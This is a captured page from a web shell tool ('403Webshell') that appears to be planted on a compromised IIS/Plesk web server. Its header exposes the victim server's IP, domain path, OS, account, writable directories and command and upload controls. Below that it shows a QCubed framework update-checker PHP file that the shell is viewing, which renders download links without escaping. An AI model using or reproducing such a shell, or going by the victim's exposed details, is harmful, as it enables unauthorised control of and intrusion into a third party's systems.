403Webshell
Server IP : 103.118.17.23  /  Your IP : 216.73.216.188
Web Server : Microsoft-IIS/10.0
System : Windows NT RESELLERPLESK22 10.0 build 20348 (Windows Server 2016) AMD64
User : IWAM_plesk(default) ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/vhosts/mesa.org.in/httpdocs/assets/_core/php/_devtools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/vhosts/mesa.org.in/httpdocs/assets/_core/php/_devtools//update_checker.php
<?php
require_once('../qcubed.inc.php');

class UpdateCheckerForm extends QForm {
	const WEB_SERVICE_PATH = "http://examples.qcu.be/webservices/updatechecker.php";
	const QCUBED_FORUM = "http://qcu.be/forum";

	/* @var QDataGrid */
	protected $dtgUpdates;

	/* @var QDataGrid */
	protected $dtgNew;

	protected function Form_Run() {
		QApplication::CheckRemoteAdmin();
	}

	protected function Form_Create() {
		$arrLatestVersions = self::parseResponseIntoItems(self::makeHttpRequest(self::WEB_SERVICE_PATH));
		self::augmentWithInstalledInfo(& $arrLatestVersions);

		$this->dtgUpdates_Create($arrLatestVersions);
		$this->dtgNew_Create($arrLatestVersions);
	}

	private function dtgUpdates_Create($latestVersions) {
		$this->dtgUpdates = new QDataGrid($this, 'dtgUpdates');
		$this->dtgUpdates->AddColumn(new QDataGridColumn('Name',        '<?= $_FORM->RenderName($_ITEM) ?>', 'HtmlEntities=false'));
		$this->dtgUpdates->AddColumn(new QDataGridColumn('Description', '<?= $_ITEM->description ?>', 'HtmlEntities=false'));
		$this->dtgUpdates->AddColumn(new QDataGridColumn('Installed',   '<?= $_ITEM->installedVersion ?>'));
		$this->dtgUpdates->AddColumn(new QDataGridColumn('Available',   '<?= $_ITEM->availableVersion ?>'));

		$arrDataSource = array();
		foreach ($latestVersions as $item) {
			/** @var $item DownloadedItemt */
			if ($item->installedVersion != null && $item->availableVersion > $item->installedVersion) {
				$arrDataSource[] = $item;
			}
		}
		$this->dtgUpdates->DataSource = $arrDataSource;

		if (sizeof($this->dtgUpdates->DataSource) > 0) {
			QApplication::ExecuteJavaScript('jQuery("#lblNoUpdates").hide()');
		} else {
			QApplication::ExecuteJavaScript('jQuery("#dtgUpdates").hide()');
		}
	}

	private function dtgNew_Create($latestVersions) {
		$this->dtgNew = new QDataGrid($this, 'dtgNew');
		$this->dtgNew->AddColumn(new QDataGridColumn('Name', '<?= $_FORM->RenderName($_ITEM) ?>', 'HtmlEntities=false'));
		$this->dtgNew->AddColumn(new QDataGridColumn('Description', '<?= $_ITEM->description ?>', 'HtmlEntities=false'));

		$arrDataSource = array();
		foreach ($latestVersions as $item) {
			/** @var $item DownloadedItem */
			if ($item->installedVersion == null) {
				$arrDataSource[] = $item;
			}
		}
		$this->dtgNew->DataSource = $arrDataSource;

		if (sizeof($this->dtgNew->DataSource) > 0) {
			QApplication::ExecuteJavaScript('jQuery("#lblNoNew").hide()');
		} else {
			QApplication::ExecuteJavaScript('jQuery("#dtgNew").hide()');
		}
	}

	public function RenderName(DownloadedItem $objItem) {
		$result = "";
		if ($objItem->downloadUrl != null) {
			$result = "<a target='_blank' href='" . $objItem->downloadUrl . "'>" . $objItem->name . "</a>";
		} else {
			$result = $objItem->name;
		}
		return $result;
	}

	private static function parseResponseIntoItems($strResponse) {
		$result = array();
		$arrItems = json_decode($strResponse);
		if ($arrItems == null || !is_array($arrItems)) {
			throw new Exception("Update server error. Please report your problem on the QCubed forum at " . self::QCUBED_FORUM);
		}
		foreach ($arrItems as $returnedItem) {
			$objToInsert = new DownloadedItem();
			$objToInsert->name              = isset($returnedItem->name)        ? $returnedItem->name               : null;
			$objToInsert->description       = isset($returnedItem->description) ? $returnedItem->description        : null;
			$objToInsert->availableVersion  = isset($returnedItem->version)     ? floatval($returnedItem->version)  : null;
			$objToInsert->installedVersion  = null;
			$objToInsert->downloadUrl               = isset($returnedItem->downloadUrl)        ? $returnedItem->downloadUrl                 : null;

			if (!$objToInsert->name || !$objToInsert->availableVersion) {
				throw new Exception("Update server error. Please report your problem on the QCubed forum at " . self::QCUBED_FORUM);
			}
			$result[] = $objToInsert;
		}

		return $result;
	}

	private static function augmentWithInstalledInfo(& $arrLatestVersions) {
		$arrInstalledPlugins = QPluginConfigParser::parseInstalledPlugins();

		// Augment the list of instlaled plugins with QCubed core version
		$objCore  = new QPlugin();
		$objCore->strName = "QCubed";
		$objCore->strVersion = QCUBED_VERSION_NUMBER_ONLY;
		$arrInstalledPlugins[] = $objCore;

		foreach ($arrLatestVersions as $objDownloadedItem) {
			/** @var $objDownloadedItem DownloadedItem */
			foreach ($arrInstalledPlugins as $objInstalledPlugin) {
				/** @var $objInstalledPlugin QPlugin */
				if (strtolower($objInstalledPlugin->strName) == strtolower($objDownloadedItem->name)) {
					$objDownloadedItem->installedVersion = floatval($objInstalledPlugin->strVersion);
					break;
				}
			}
		}
	}

	private static function makeHttpRequest($url) {
		$defaults = array(
			CURLOPT_URL => $url,
			CURLOPT_HEADER => 0,
			CURLOPT_RETURNTRANSFER => TRUE,
			CURLOPT_TIMEOUT => 5
		);

		$ch = curl_init();
		curl_setopt_array($ch, $defaults);
		if( ! $result = curl_exec($ch)) {
			trigger_error(curl_error($ch));
		}
		curl_close($ch);
		return $result;
	}
}

class DownloadedItem {
	public $name;
	public $description;
	public $availableVersion;
	public $installedVersion;
	public $downloadUrl;
}

UpdateCheckerForm::Run('UpdateCheckerForm');
?>

Youez - 2016 - github.com/yon3zu
LinuXploit